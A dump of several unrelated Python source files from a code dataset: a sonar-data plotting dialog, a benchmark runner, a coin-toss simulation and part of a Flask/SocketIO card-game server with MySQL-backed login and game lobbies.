{}:{}d'.format(self.variable_dropdown.currentText(),\n dset[dset_var].ndim))\n\n def plot_type_selected(self):\n \"\"\"\n We have some checks against ping count for some plot types. Go ahead and get the current ping count and run\n those checks.\n \"\"\"\n if self.datasets:\n plottype = self.plottype_dropdown.currentText()\n if plottype:\n ping_count = int(self.data_widget.ping_count.text())\n self.new_ping_count(ping_count)\n self.refresh_explanation()\n if plottype == 'Histogram':\n self.bincount_label.show()\n self.bincount.show()\n else:\n self.bincount_label.hide()\n self.bincount.hide()\n if plottype[0:4] == 'Line':\n self.zero_center_plot.show()\n else:\n self.zero_center_plot.hide()\n\n def new_ping_count(self, ping_count: int):\n \"\"\"\n We check some plottypes to ensure the number of pings provided makes sense\n\n Parameters\n ----------\n ping_count\n total number of pings that we plan on plotting\n \"\"\"\n\n if self.datasets:\n plottype = self.plottype_dropdown.currentText()\n if plottype:\n if plottype in ['3d scatter, color by depth', '3d scatter, color by sector'] and ping_count > 100:\n self.data_widget.warning_message.setText('Warning: 3d scatter will be very slow with greater than 100 pings')\n elif plottype in ['2d scatter, color by depth', '2d scatter, color by sector'] and ping_count > 500:\n self.data_widget.warning_message.setText('Warning: 2d scatter will be very slow with greater than 500 pings')\n else:\n self.data_widget.warning_message.setText('')\n\n def _plot_variable(self, dataset, dataset_name, variable, plottype, sonartype, serialnum):\n \"\"\"\n Method for plotting the various variables.\n\n Parameters\n ----------\n dataset\n the base object for plotting, either an xarray Dataset or a Fqpr object (for dataset_name == 'custom')\n dataset_name\n the base name, 'multibeam', 'attitude', etc.\n variable\n the variable name, 'beampointingangle', etc.\n plottype\n the plot type, 'Line', 'Histogram', etc.\n sonartype\n the sonar type, 'em2040', etc.\n serialnum\n the serial number of this sonar, '389', etc.\n \"\"\"\n\n try:\n translated_var = self.variable_translator[variable]\n except:\n translated_var = variable\n\n if not self.add_to_current_plot.isChecked() and dataset_name != 'custom':\n if isinstance(dataset, list) and len(dataset) > 1: # dual head\n fig, self.recent_plot = plt.subplots(ncols=2)\n fig.suptitle('{}: {} Plot of {}'.format(sonartype[0], plottype, translated_var))\n else:\n fig = plt.figure()\n self.recent_plot = [plt.subplot()]\n\n if not isinstance(dataset, list):\n dataset = [dataset]\n custom_vartype = None\n for cnt, dset in enumerate(dataset):\n if variable == 'corr_pointing_angle':\n data = np.rad2deg(dset[variable])\n elif dataset_name == 'custom':\n data = dset\n if variable == 'georeferenced':\n custom_vartype = 'georef'\n else:\n custom_vartype = 'svcorr'\n else:\n data = dset[variable]\n if variable == 'geohash': # geohash is a beam-wise string, need an integer for these plot methods to work\n _, u_inv = np.unique(data, return_inverse=True)\n data.load()[:] = u_inv.reshape(data.shape)\n data = data.astype(np.int16)\n\n identifier = '{} {}'.format(dataset_name, translated_var)\n if plottype == 'Line':\n if self.zero_center_plot.isChecked():\n (data - data.mean()).plot.line(ax=self.recent_plot[cnt], label=identifier)\n else:\n data.plot.line(ax=self.recent_plot[cnt], label=identifier)\n elif plottype == 'Line - Mean':\n newdata = data.mean(axis=1)\n if self.zero_center_plot.isChecked():\n (newdata - newdata.mean()).plot.line(ax=self.recent_plot[cnt], label=identifier + ' (mean)')\n else:\n newdata.plot.line(ax=self.recent_plot[cnt], label=identifier + ' (mean)')\n elif plottype == 'Line - Nadir':\n nadir_beam_num = int((data.beam.shape[0] / 2) - 1)\n newdata = data.isel(beam=nadir_beam_num)\n if self.zero_center_plot.isChecked():\n (newdata - newdata.mean()).plot.line(ax=self.recent_plot[cnt], label=identifier + ' (nadir)')\n else:\n newdata.plot.line(ax=self.recent_plot[cnt], label=identifier + ' (nadir)')\n elif plottype == 'Line - Port Outer Beam':\n newdata = data.isel(beam=0)\n if self.zero_center_plot.isChecked():\n (newdata - newdata.mean()).plot.line(ax=self.recent_plot[cnt], label=identifier + ' (port outer)')\n else:\n newdata.plot.line(ax=self.recent_plot[cnt], label=identifier + ' (port outer)')\n elif plottype == 'Line - Starboard Outer Beam':\n idxs = []\n for vdbms in data.values:\n for vcnt, vdbm in enumerate(vdbms[::-1]):\n if not (np.isnan(vdbm) or vdbm == 0): # this is an attempt to ensure the last beam in the ping is valid (some sonar vary in beams, so you get empty values in the square array)\n idxs += [len(vdbms) - (vcnt + 1)]\n break\n elif vcnt == len(vdbms) - 1: # no valid values for the ping\n idxs += [0]\n\n last_beam_num = int((data.beam.shape[0]) - 1)\n newdata = data.isel(beam=last_beam_num)\n # overwrite with our fixed last beam values\n newdata[:] = data.values[np.arange(data.shape[0]), idxs]\n if self.zero_center_plot.isChecked():\n (newdata - newdata.mean()).plot.line(ax=self.recent_plot[cnt], label=identifier + ' (stbd outer)')\n else:\n newdata.plot.line(ax=self.recent_plot[cnt], label=identifier + ' (stbd outer)')\n elif plottype == 'Histogram':\n bincount = int(self.bincount.text())\n data.plot.hist(ax=self.recent_plot[cnt], bins=bincount, label=identifier)\n elif plottype == 'Scatter':\n dset.plot.scatter('time', variable, ax=self.recent_plot[cnt], label=identifier)\n elif plottype == 'Image':\n data.plot.imshow(ax=self.recent_plot[cnt], label=identifier)\n elif plottype == 'Contour':\n data.plot.contourf(ax=self.recent_plot[cnt])\n\n elif plottype == '2d scatter, color by depth':\n data.plot.soundings_plot_2d(custom_vartype, color_by='depth')\n elif plottype == '2d scatter, color by sector':\n data.plot.soundings_plot_2d(custom_vartype, color_by='sector')\n elif plottype == '3d scatter, color by depth':\n data.plot.soundings_plot_3d(custom_vartype, color_by='depth')\n elif plottype == '3d scatter, color by sector':\n data.plot.soundings_plot_3d(custom_vartype, color_by='sector')\n elif plottype == 'Uncorrected Beam Vectors':\n data.plot.visualize_beam_pointing_vectors(False)\n elif plottype == 'Corrected Beam Vectors':\n data.plot.visualize_beam_pointing_vectors(True)\n elif plottype == 'Vessel Orientation':\n data.plot.visualize_orientation_vector()\n elif plottype == 'Profile Map':\n data.plot.plot_sound_velocity_map()\n elif plottype == 'Plot Profiles':\n data.plot.plot_sound_velocity_profiles()\n elif plottype == 'Surface SV Comparison':\n data.plot.plot_surface_sv_vs_profiles()\n elif plottype == 'Vertical Sample':\n data.plot.plot_tvu_sample()\n elif plottype == 'Horizontal Sample':\n data.plot.plot_thu_sample()\n elif plottype == 'Backscatter Sample':\n data.plot.plot_backscatter_sample()\n\n if dataset_name != 'custom' and plottype not in ['Image', 'Contour']:\n self.recent_plot[cnt].legend()\n\n if not self.add_to_current_plot.isChecked() and plottype not in ['Vertical Sample', 'Horizontal Sample', 'Backscatter Sample']:\n # a new plot was made, here we set the title based on the options provided\n # Sample plots only show a premade image, they do not make plots\n if dataset_name != 'custom' and len(self.recent_plot) == 2:\n self.recent_plot[0].set_title('Port-{}'.format(serialnum[0]))\n self.recent_plot[1].set_title('Starboard-{}'.format(serialnum[1]))\n else:\n plt.title('{} (SN{}): {} Plot of {}'.format(sonartype, serialnum, plottype, translated_var))\n # set always on top\n plt.gcf().canvas.manager.window.setWindowFlags(self.windowFlags() | QtCore.Qt.WindowStaysOnTopHint)\n plt.gcf().canvas.manager.window.show()\n else: # adding to an existing plot, we need to update the plot to get a redraw\n plt.gcf().canvas.draw()\n plt.gcf().canvas.flush_events()\n\n def plot(self):\n \"\"\"\n Build out the data that we plan to plot\n \"\"\"\n if self.datasets:\n min_max = self.data_widget.return_trim_times()\n if min_max:\n err = self.fqpr.subset_by_time(min_max[0], min_max[1])\n if err:\n self.data_widget.warning_message.setText('ERROR: no data in times {}-{}'.format(min_max[0], min_max[1]))\n return\n self.reload_datasets()\n ky = self.dataset_dropdown.currentText()\n plottype = self.plottype_dropdown.currentText()\n dsets = self.datasets[ky]\n dset_name = ky\n if plottype == 'Histogram':\n try:\n bincount = int(self.bincount.text())\n except:\n self.data_widget.warning_message.setText('Bins must be an integer, user entered \"{}\"'.format(self.bincount.text()))\n return\n\n if ky in ['multibeam', 'raw navigation', 'processed navigation']:\n dset_var = self.variable_reverse_lookup[self.variable_dropdown.currentText()]\n else:\n dset_var = self.variable_dropdown.currentText()\n\n if ky == 'multibeam':\n if len(dsets) > 1:\n sonartype = [d.sonartype for d in dsets]\n serialnum = [d.system_identifier for d in dsets]\n else:\n sonartype = dsets[0].sonartype\n serialnum = dsets[0].system_identifier\n self._plot_variable(dsets, dset_name, dset_var, plottype, sonartype, serialnum)\n else:\n sonartype = self.datasets['multibeam'][0].sonartype\n serialnum = self.datasets['multibeam'][0].system_identifier\n self._plot_variable(dsets, dset_name, dset_var, plottype, sonartype, serialnum)\n if min_max:\n self.fqpr.restore_subset()\n\n def export_variable(self):\n \"\"\"\n Export the currently selected dataset/variable to csv\n \"\"\"\n\n if self.datasets:\n ky = self.dataset_dropdown.currentText()\n plottype = self.plottype_dropdown.currentText()\n reduce_method = None\n zero_centered = False\n\n try:\n dvar = self.variable_reverse_lookup[self.variable_dropdown.currentText()]\n except:\n dvar = self.variable_dropdown.currentText()\n defvalue = os.path.join(self.fqpr.output_folder, 'export_{}_{}.csv'.format(ky, dvar))\n if plottype[0:4] == 'Line':\n zero_centered = self.zero_center_plot.isChecked()\n if plottype.find('Mean') != -1:\n reduce_method = 'mean'\n defvalue = os.path.splitext(defvalue)[0] + '_mean.csv'\n elif plottype.find('Nadir') != -1:\n reduce_method = 'nadir'\n defvalue = os.path.splitext(defvalue)[0] + '_nadir.csv'\n elif plottype.find('Port') != -1:\n reduce_method = 'port_outer_beam'\n defvalue = os.path.splitext(defvalue)[0] + '_portbeam.csv'\n elif plottype.find('Starboard') != -1:\n reduce_method = 'starboard_outer_beam'\n defvalue = os.path.splitext(defvalue)[0] + '_stbdbeam.csv'\n if zero_centered:\n defvalue = os.path.splitext(defvalue)[0] + '_zerocentered.csv'\n\n msg, output_pth = RegistryHelpers.GetFilenameFromUserQT(self, RegistryKey='Kluster', DefaultVal=self.fqpr.output_folder, fFilter=\"csv files | *.csv\",\n DefaultFile=defvalue, Title='Output dataset path for csv export', AppName='\\\\reghelp')\n if output_pth:\n min_max = self.data_widget.return_trim_times()\n if min_max:\n err = self.fqpr.subset_by_time(min_max[0], min_max[1])\n if err:\n self.data_widget.warning_message.setText('ERROR: no data in times {}-{}'.format(min_max[0], min_max[1]))\n return\n self.reload_datasets()\n self.fqpr.export_variable(ky, dvar, output_pth, reduce_method=reduce_method, zero_centered=zero_centered)\n if min_max:\n self.fqpr.restore_subset()\n\n def export_source(self):\n \"\"\"\n Export the currently selected dataset to csv\n \"\"\"\n if self.datasets:\n ky = self.dataset_dropdown.currentText()\n defvalue = os.path.join(self.fqpr.output_folder, 'export_{}.csv'.format(ky))\n msg, output_pth = RegistryHelpers.GetFilenameFromUserQT(self, RegistryKey='Kluster',\n DefaultVal=self.fqpr.output_folder,\n fFilter=\"csv files | *.csv\",\n DefaultFile=defvalue,\n Title='Output dataset path for csv export',\n AppName='\\\\reghelp')\n if output_pth:\n min_max = self.data_widget.return_trim_times()\n if min_max:\n err = self.fqpr.subset_by_time(min_max[0], min_max[1])\n if err:\n self.data_widget.warning_message.setText('ERROR: no data in times {}-{}'.format(min_max[0], min_max[1]))\n return\n self.reload_datasets()\n self.fqpr.export_dataset(ky, output_pth)\n if min_max:\n self.fqpr.restore_subset()\n\n def refresh_explanation(self):\n \"\"\"\n Update the help text control (self.explanation) with an explanation of what the plot is, based on the\n set source/variable/plottype control.\n \"\"\"\n source = self.dataset_dropdown.currentText()\n variable = self.variable_dropdown.currentText()\n plottype = self.plottype_dropdown.currentText()\n source_expl = ''\n variable_expl = ''\n plot_expl = ''\n\n if source == 'multibeam' or source == 'processed navigation' or source == 'raw navigation':\n source_expl = 'Source = From the {} data, or from the Kluster processed intermediate variables.'.format(source)\n if kluster_variables.variable_reverse_lookup[variable] in kluster_variables.variable_descriptions:\n variable_expl = 'Variable = {}'.format(kluster_variables.variable_descriptions[kluster_variables.variable_reverse_lookup[variable]])\n else:\n variable_expl = 'Variable = Description not found'\n elif source == 'attitude':\n source_expl = 'Source = Attitude from the raw multibeam file.'\n if variable == 'heading':\n variable_expl = 'Variable = From the raw multibeam data, the logged heading data from the attitude system in degrees. Relative to true north in navigation reference frame'\n elif variable == 'heave':\n variable_expl = 'Variable = From the raw multibeam data, the logged heave data from the attitude system in meters. Short period vertical motion of vessel'\n elif variable == 'pitch':\n variable_expl = 'Variable = From the raw multibeam data, the logged pitch data from the attitude system in degrees. Rotation of vessel (up and down) about the Y axis (transverse axis)'\n elif variable == 'roll':\n variable_expl = 'Variable = From the raw multibeam data, the logged roll data from the attitude system in degrees. Rotation of vessel (left to right) about the X axis (longitudinal axis)'\n elif source == 'custom':\n source_expl = 'Source = Custom Kluster plots from all converted and processed data'\n if variable == 'georeferenced':\n variable_expl = 'Variable = From the Kluster processed georeferenced northing/easting/depth'\n elif variable == 'sound_velocity_correct':\n variable_expl = 'Variable = From the Kluster processed sound velocity corrected alongtrack offset/acrosstrack offset/depth offset'\n elif variable == 'sound_velocity_profiles':\n variable_expl = 'Variable = Build plots from the imported sound velocity profiles (casts), including those in the raw multibeam data.'\n elif variable == 'animations':\n variable_expl = 'Variable = Build custom animations from the Kluster processed data'\n elif variable == 'uncertainty':\n variable_expl = 'Variable = Display images generated on running the calculate total uncertainty process'\n elif variable == 'backscatter':\n variable_expl = 'Variable = Display images generated on running process backscatter/mosaic'\n if plottype == 'Line':\n plot_expl = 'Plot = Line plot connecting the points in the variable, will connect points across gaps in data. Use scatter to see the gaps.'\n elif plottype == 'Line - Mean':\n plot_expl = 'Plot = Line plot of the average value for this variable for each ping'\n elif plottype == 'Line - Nadir':\n plot_expl = 'Plot = Line plot of the Nadir beam (center beam) for this variable'\n elif plottype == 'Line - Port Outer Beam':\n plot_expl = 'Plot = Line plot of the first beam (port outer beam) for this variable'\n elif plottype == 'Line - Starboard Outer Beam':\n plot_expl = 'Plot = Line plot of the last beam (starboard outer beam) for this variable'\n elif plottype == 'Histogram':\n plot_expl = 'Plot = Bar plot grouping the data into bins, the number of which is set by the user.'\n elif plottype == 'Scatter':\n plot_expl = 'Plot = Plot all the points in the variable.'\n elif plottype == 'Image':\n plot_expl = 'Plot = Build a linearly interpolated image of the 2d variable using matplotlib imshow, provides a fast view of the data'\n elif plottype == 'Contour':\n plot_expl = 'Plot = Plot the filled in contours of the data'\n elif plottype == '2d scatter, color by depth':\n plot_expl = 'Plot = Overhead view of the variable points, colored by depth'\n elif plottype == '2d scatter, color by sector':\n plot_expl = 'Plot = Overhead view of the variable points, colored by the sector each beam belongs to'\n elif plottype == '3d scatter, color by depth':\n plot_expl = 'Plot = 3d scatter plot of variable, colored by depth'\n elif plottype == '3d scatter, color by sector':\n plot_expl = 'Plot = 3d scatter plot of variable, colored by the sector each beam belongs to'\n elif plottype == 'Uncorrected Beam Vectors':\n plot_expl = 'Plot = Animation of uncorrected beam angles versus traveltime, will show the effects of attitude and mounting angles.'\n elif plottype == 'Corrected Beam Vectors':\n plot_expl = 'Plot = Animation of corrected beam angles versus traveltime, corrected for attitude and mounting angles.'\n elif plottype == 'Vessel Orientation':\n plot_expl = 'Plot = Animation of Vessel Orientation, corrected for attitude and mounting angles. TX vector represents the transmitter, RX vector represents the receiver.'\n elif plottype == 'Plot Profiles':\n plot_expl = 'Plot = Plot of depth versus sound velocity values in each sound velocity profile. All profiles from Kongsberg multibeam have been extended to 12000 meters. Zoom in to see the shallow values. Shows all casts regardless of specified time range'\n elif plottype == 'Surface SV Comparison':\n plot_expl = 'Plot = Plot of surface sound velocity vs the profile sound velocity value at transducer depth. All profiles from Kongsberg multibeam have been extended to 12000 meters. Zoom in to see the shallow values. Shows all casts regardless of specified time range'\n elif plottype == 'Profile Map':\n plot_expl = 'Plot = Plot all lines within the specified time range and all sound velocity profiles. Casts from multibeam have a position equal to the position of the vessel at the time of the cast.'\n elif plottype == 'Vertical Sample':\n plot_expl = 'Plot = Each successful calculate TPU process will generate a tvu (total vertical uncertainty) sample image. This is the average tvu across the ping for the first 1000 pings.\\n\\n' + \\\n 'sounder_vertical - vertical uncertainty taken from the raw multibeam data\\n' + \\\n 'roll - roll uncertainty using (SBET roll error or Roll Sensor Error) and Roll Patch Error\\n' + \\\n 'refraction - sound speed error effects on range/angle, using Surface SV Error\\n' + \\\n 'down_position - vertical positioning error, using SBET down position error or Vertical Positioning Error\\n' + \\\n 'separation_model - if NOAA_MLLW/NOAA_MHW is used, this is the VDatum uncertainty associated with the gridded transformation\\n' + \\\n 'heave - Heave Error applied directly, assuming you are using a non-ERS vertical datum\\n' + \\\n 'beamangle - error related to the Beam Opening Angle\\n' + \\\n 'waterline - Waterline Error applied directly, assuming you are using a non-ERS vertical datum\\n' + \\\n 'total_vertical_uncertainty - total vertical propagated uncertainty generated from all the above elements, where applicable'\n elif plottype == 'Horizontal Sample':\n plot_expl = 'Plot = Each successful calculate TPU process will generate a thu (total horizontal uncertainty) sample image. This is the average thu across the ping for the first 1000 pings.\\n\\n' + \\\n 'sounder_horizontal - horizontal uncertainty taken from the raw multibeam data\\n' + \\\n 'distance_rms - radial positioning error using either SBET north/east position error or Horizontal Positioning Error\\n' + \\\n 'antenna_lever_arm - horizontal error related to the antenna/reference point lever arm, using either SBET Sensor error or Roll/Pitch/Yaw Sensor Error\\n' + \\\n 'total_horizontal_uncertainty - total horizontal propagated uncertainty generated from all the above elements, where applicable'\n elif plottype == 'Backscatter Sample':\n plot_expl = 'Plot = Each successful backscatter process will generate a backscatter sample image. This is the different backscatter components for the first ping.\\n\\n' + \\\n 'See the \"backscatter_settings\" in the Attribution window for the converted data to learn more about each of these components.'\n\n if plot_expl and variable_expl and source_expl:\n self.explanation.setText('{}\\n\\n{}\\n\\n{}'.format(source_expl, variable_expl, plot_expl))\n else:\n self.explanation.setText('')\n\n\nif __name__ == '__main__':\n try: # pyside2\n app = QtWidgets.QApplication()\n except TypeError: # pyqt5\n app = QtWidgets.QApplication([])\n dlog = BasicPlotDialog()\n dlog.show()\n app.exec_()\n","repo_name":"noaa-ocs-hydrography/kluster","sub_path":"HSTB/kluster/gui/dialog_basicplot.py","file_name":"dialog_basicplot.py","file_ext":"py","file_size_in_byte":40682,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"3"}
+{"seq_id":"17844669709","text":"#!/usr/bin/env mayapy\n\nimport argparse\nimport bisect\nimport collections\nimport os\nimport sys\nimport timeit\nimport unittest\n\n\n_clock = timeit.default_timer\n\n\n# Usage's syntax based on docopt.\n_USAGE = \"%(prog)s [...]\"\n_DESCRIPTION = (\n \"Runs the benchmarks that have their name containing either one of the \"\n \"'name' arguments passed. If no 'name' argument is passed, all the \"\n \"benchmarks are run.\"\n)\n\n\n# Enumerator for the internal messages.\n_MESSAGE_SUITE_SETUP = 0\n_MESSAGE_SUITE_TEARDOWN = 1\n\n\n_Message = collections.namedtuple(\n '_Message', (\n 'type',\n 'value',\n )\n)\n\n\nclass DummyResult(object):\n\n def wasSuccessful(self):\n return True\n\n\nclass BenchLoader(unittest.TestLoader):\n testMethodPrefix = 'bench'\n\n\nclass BenchRunner(object):\n\n def run(self, bench):\n stack = collections.deque((bench,))\n while stack:\n obj = stack.popleft()\n if isinstance(obj, _Message):\n if obj.type == _MESSAGE_SUITE_SETUP:\n obj.value.setUpClass()\n elif obj.type == _MESSAGE_SUITE_TEARDOWN:\n obj.value.tearDownClass()\n elif isinstance(obj, unittest.TestSuite):\n suites = [suite for suite in obj\n if isinstance(suite, unittest.TestSuite)]\n cases = [case for case in obj\n if not isinstance(case, unittest.TestSuite)]\n\n stack.extend(suites)\n\n seen = set()\n classes = [type(case) for case in cases\n if type(case) not in seen\n and seen.add(type(case)) is None]\n for cls in classes:\n stack.append(_Message(type=_MESSAGE_SUITE_SETUP,\n value=cls))\n stack.extend(case for case in cases\n if type(case) is cls)\n stack.append(_Message(type=_MESSAGE_SUITE_TEARDOWN,\n value=cls))\n else:\n function = getattr(obj, _getBenchName(obj))\n\n obj.setUp()\n start = _clock()\n function()\n elapsed = _clock() - start\n obj.tearDown()\n\n elapsed, unit = _pickTimeUnit(elapsed)\n print(\"%s (%s.%s) ... %.3f %s\"\n % (_getBenchName(obj), type(obj).__module__,\n type(obj).__name__, elapsed, unit))\n\n return DummyResult()\n\n\ndef _pickTimeUnit(value):\n bounds = (1e-9, 1e-6, 1e-3)\n units = 'num'\n if value >= 1.0:\n out = (value, 's')\n elif value <= bounds[0] * 1e-3:\n out = (0.0, '%ss' % (units[0],))\n else:\n i = max(0, bisect.bisect(bounds, value) - 1)\n out = (value / bounds[i], '%ss' % (units[i],))\n\n return out\n\n\ndef _findBenchs(path, selectors=None):\n if selectors is None:\n def filter(bench):\n return True\n else:\n def filter(bench):\n return any(selector in _getBenchFullName(bench)\n for selector in selectors)\n\n out = []\n if path == '__main__':\n rootBench = BenchLoader().loadTestsFromModule(sys.modules[path])\n else:\n rootBench = BenchLoader().discover(path, pattern='bench*.py')\n\n stack = collections.deque((rootBench,))\n while stack:\n obj = stack.popleft()\n if isinstance(obj, unittest.TestSuite):\n stack.extend(bench for bench in obj)\n elif type(obj).__name__ == 'ModuleImportFailure':\n try:\n # This should always throw an ImportError exception.\n getattr(obj, _getBenchName(obj))()\n except ImportError as e:\n sys.exit(e.message.strip())\n elif filter(obj):\n out.append(obj)\n\n return out\n\n\ndef _getBenchName(bench):\n return bench._testMethodName\n\n\ndef _getBenchFullName(bench):\n return '%s.%s.%s' % (type(bench).__module__, type(bench).__name__,\n _getBenchName(bench))\n\n\ndef run(startPath):\n parser = argparse.ArgumentParser(usage=_USAGE, description=_DESCRIPTION)\n parser.add_argument('name', nargs='*',\n help='partial benchmark names to search')\n args = parser.parse_args()\n selectors = args.name if args.name else None\n benchs = _findBenchs(startPath, selectors)\n suite = BenchLoader().suiteClass(benchs)\n BenchRunner().run(suite)\n\n\nif __name__ == \"__main__\":\n run(os.path.abspath(os.path.dirname(__file__)))\n","repo_name":"christophercrouzet/bana","sub_path":"benchmarks/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4613,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"3"}
+{"seq_id":"8903365427","text":"# pylint: disable=missing-docstring\n\nimport random as rand\n\ndef play_one_game(n_toss):\n '''returns the number of heads after n_toss'''\n head_counter = 0\n for _ in range(n_toss):\n head_counter += rand.randrange(0, 2, 1)\n return n_toss - head_counter\n\nprint(play_one_game(1))\n\ndef play_n_game(n_games, n_toss):\n \"\"\"returns a dictionary where the keys are the possible head counts\n of each game and the values will the probability of a game ending\n with that number of heads.\n \"\"\"\n results_list = []\n for _ in range(n_games):\n results_list.append(play_one_game(n_toss))\n dict_proba = {}\n for j in range (n_toss + 1):\n if results_list.count(j) != 0:\n dict_proba[j] = results_list.count(j)/n_games\n else:\n continue\n return dict_proba\n","repo_name":"flo1222/data-challenges-old","sub_path":"03-Maths/02-Statistics-Probabilities/02-Toss-a-Coin/simulate_reality.py","file_name":"simulate_reality.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20826776806","text":"from datetime import datetime\nimport copy\nfrom game import Game\nfrom player import *\nimport json\nimport random\nfrom flask import *\nfrom flask_socketio import SocketIO,emit\nfrom flask_cors import CORS\nimport mysql.connector\n\"\"\"globals\"\"\"\nopen_games_ins = {}\nconnected_users = {}\nnum_of_open_games = 0\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret!'\nCORS(app,resources={r\"/*\":{\"origins\":\"*\"}})\nsocketio = SocketIO(app,cors_allowed_origins=\"*\")\n\n\n@socketio.on('update_oppenents')\ndef update_oppenents(data):\n global open_games_ins\n game:Game = open_games_ins[data]\n opponents = game.get_players_names()\n for user in game.players:\n emit('update_oppenents', {'opponents' : opponents}, room=connected_users[user.name]) \n if user.is_ready:\n for p in game.players:\n if p.name != user.name:\n socketio.emit('opponent_ready', {'opponent' : user.name}, room=connected_users[p.name])\n\n\n\n@app.route(\"/join_game\", methods=['POST'])\ndef join_game():\n global connected_users, open_games_ins\n data = json.loads(request.data)\n game:Game = open_games_ins[data['gameId']]\n game.add_player(Player(data['username']))\n print(\"join_game(event call)\",game.get_players_names())\n #initial connection to database\n mydb = mysql.connector.connect(\n host = 'localhost',\n user = 'arik',\n password = 'abcdef',\n database = 'mydb'\n )\n players = \" \".join(game.get_players_names())\n query = \"UPDATE games SET current_players = %s WHERE id = %s\"\n cursor = mydb.cursor()\n cursor.execute(query,(players, game.id))\n mydb.commit()\n cursor.execute(\"SELECT * FROM games\")\n socketio.emit('update_games', cursor.fetchall(), broadcast=True)\n \n #close connection\n cursor.close()\n mydb.close()\n return {'id' : game.id}\n\n \n\n@socketio.on(\"user_connect\")\ndef connected(username):\n \"\"\"event listener when client connects to the server\"\"\"\n if not username in connected_users.keys():\n connected_users[username] = request.sid\n print(username,\" has connected\\t id:\", request.sid)\n mydb = mysql.connector.connect(\n host = 'localhost',\n user = 'arik',\n password = 'abcdef',\n database = 'mydb'\n )\n cursor = mydb.cursor()\n cursor.execute(\"SELECT * FROM games\")\n games = cursor.fetchall()\n #close connection\n cursor.close()\n mydb.close()\n socketio.emit('update_games', games, broadcast=True)\n\n@app.route('/opponent_leaveing', methods=['POST'])\ndef opponent_leaveing():\n data = json.loads(request.data)\n game:Game = open_games_ins[data['gameId']]\n game.remove_player(data['player_name'])\n print(\"opponent_leaveing: \", game.get_players_names())\n #initial connection to database\n mydb = mysql.connector.connect(\n host = 'localhost',\n user = 'arik',\n password = 'abcdef',\n database = 'mydb'\n )\n cursor = mydb.cursor()\n if game.number_of_players == 0:\n cursor.execute(\"DELETE from games WHERE id = %s\", (data['gameId'],))\n open_games_ins.pop(game.id)\n else:\n query = \"UPDATE games SET current_players = %s, number_of_players = %s WHERE id = %s\"\n cursor.execute(query,(\" \".join(game.get_players_names()),game.number_of_players ,game.id))\n \n cursor.execute(\"SELECT * FROM games\")\n games = cursor.fetchall()\n\n #close connection \n mydb.commit()\n cursor.close()\n mydb.close()\n socketio.emit('update_games', games, broadcast=True)\n\n return {}\n\n@app.route('/ready_to_start', methods=['POST'])\ndef ready_to_start():\n global connected_users, open_games_ins\n data = json.loads(request.data)\n game:Game = open_games_ins[data['gameId']]\n all_ready = 0\n for p in game.players:\n if p.name == data['username']:\n p.is_ready = True\n else:\n socketio.emit('opponent_ready', {'opponent' : data['username']}, room=connected_users[p.name])\n if p.is_ready:\n all_ready += 1\n if all_ready == 4:\n\n game.reset_ruond()\n player_start = game.get_players_names()[random.randint(0,3)]\n for p in game.players:\n socketio.emit('reset_cards', {'cards' : p.hand, 'curr_player' : player_start}, room=connected_users[p.name])\n return {}\n\n\n@app.route('/sign_up',methods=['POST'])\ndef sign_up():\n data = json.loads(request.data)\n #initial connection to database\n mydb = mysql.connector.connect(\n host = 'localhost',\n user = 'arik',\n password = 'abcdef',\n database = 'mydb'\n )\n cursor = mydb.cursor()\n #check if user exist\n cursor.execute(\"SELECT name from users\")\n for name in cursor:\n if name == data['username']:\n cursor.close()\n mydb.close()\n return {'user_exist': True}\n #insert new user\n cursor.execute(\"SELECT count(*) FROM users\")\n num_of_users = int(cursor.fetchone()[0] + 1)\n insert_new_user = (\"INSERT INTO users VALUES(%s, %s, %s, %s, %s)\")\n cursor.execute(insert_new_user, (num_of_users, data['username'], data['password'], 0, 0))\n #save changes\n mydb.commit()\n #close connection\n cursor.close()\n mydb.close()\n return {'user_exist': False}\n@app.route('/login', methods=['POST', 'GET'])\ndef login():\n global connected_users\n data = json.loads(request.data)\n user_exsit = False\n #initial connection to database\n mydb = mysql.connector.connect(\n host = 'localhost',\n user = 'arik',\n password = 'abcdef',\n database = 'mydb'\n )\n cursor = mydb.cursor()\n #check if user exist and matching password\n cursor.execute(\"SELECT name, password From users\")\n for (name, password) in cursor:\n user_exsit = (name == data['username'] and password == data['password'])\n if user_exsit: break \n \n #insert new user\n #close connection\n cursor.fetchall()\n cursor.close()\n mydb.close()\n return {'isValidUser' : user_exsit}\n\n\n\n\n@app.route(\"/create_game\", methods=['POST'])\ndef create_game():\n global num_of_open_games, connected_users, open_games_ins\n num_of_open_games += 1\n data = json.loads(request.data)\n player = Player(data['username'])\n game = Game(player, num_of_open_games)\n open_games_ins[num_of_open_games] = game\n #initial connection to database\n mydb = mysql.connector.connect(\n host = 'localhost',\n user = 'arik',\n password = 'abcdef',\n database = 'mydb'\n )\n cursor = mydb.cursor()\n insert_new_game = (\"INSERT INTO games VALUES(%s, %s, %s, %s, %s)\")\n players = \", \".join(game.get_players_names())\n cursor.execute(insert_new_game, (\n num_of_open_games, \n data['username'], \n datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\"), \n players, \n game.number_of_players\n ))\n cursor.execute(\"SELECT count(*) FROM games\")\n is_created = int(cursor.fetchone()[0]) == num_of_open_games+1\n cursor.execute(\"SELECT * FROM games\")\n games = cursor.fetchall()\n print(games)\n socketio.emit('update_games', games, broadcast=True)\n #close connection \n mydb.commit()\n cursor.close()\n mydb.close()\n return {\"is_created\" : is_created, \"id\" : game.id}\n\n\n\n\n@app.route(\"/reset_round\",methods=['POST', 'GET'])\ndef reset_round():\n global open_games_ins\n data = json.loads(request.data)\n print(data)\n game:Game = open_games_ins[data['gameId']]\n print(game.get_players_names())\n for player in game.players:\n print(player.name)\n if player.name == data['username']:\n print(player.hand)\n return {'cards' : player.hand}\n\n@app.route(\"/reset_game\",methods=['POST'])\ndef reset_game():\n global open_games_ins\n data = json.loads(request.data)\n game:Game = open_games_ins[data['gameId']]\n game.reset_game()\n return {}\n\n@app.route(\"/yaniv_called\", methods=[\"POST\"])\ndef yaniv_called():\n global open_games_ins\n data = json.loads(request.data)\n game:Game = open_games_ins[data['gameId']]\n score = game.get_score(data['username'])\n for p in game.get_players_names():\n 